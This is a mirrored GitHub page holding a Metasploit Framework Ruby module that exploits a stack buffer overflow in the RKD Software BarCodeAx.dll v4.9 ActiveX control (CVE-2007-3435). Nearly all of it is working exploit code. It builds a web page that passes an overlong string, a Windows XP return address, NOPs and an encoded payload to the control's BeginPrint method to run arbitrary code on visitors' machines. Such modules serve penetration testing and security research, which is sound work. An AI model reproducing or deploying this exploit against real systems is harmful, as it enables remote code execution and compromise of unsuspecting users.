mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
35d3bbf74d
See the complaint on #4039. This doesn't fix that particular issue (it's somewhat unrelated), but does solve around a file parsing problem reported by @void-in
85 lines
2.3 KiB
Ruby
85 lines
2.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in RKD Software Barcode Application
|
|
ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint
|
|
method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
|
|
'References' =>
|
|
[
|
|
[ 'EDB', '4094' ],
|
|
[ 'OSVDB', '37482' ],
|
|
[ 'BID', '24596' ],
|
|
[ 'CVE', '2007-3435' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00\x0a\x0d\x20\'\"%<>@=,.\#$&()\\/",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll patrickw xpsp0
|
|
],
|
|
'DisclosureDate' => 'Jun 22 2007',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
# Re-generate the payload
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# Randomize some things
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
|
|
buff = Rex::Text.rand_text_alphanumeric(656) + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
|
|
|
|
# Build out the message
|
|
content = %Q|<html>
|
|
<object classid='clsid:C26D9CA8-6747-11D5-AD4B-C01857C10000' id='#{vname}'></object>
|
|
<script language='javascript'>
|
|
#{vname}.BeginPrint("#{buff}");
|
|
</script>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending #{self.name}")
|
|
|
|
# Transmit the response to the client
|
|
send_response_html(cli, content)
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
end
|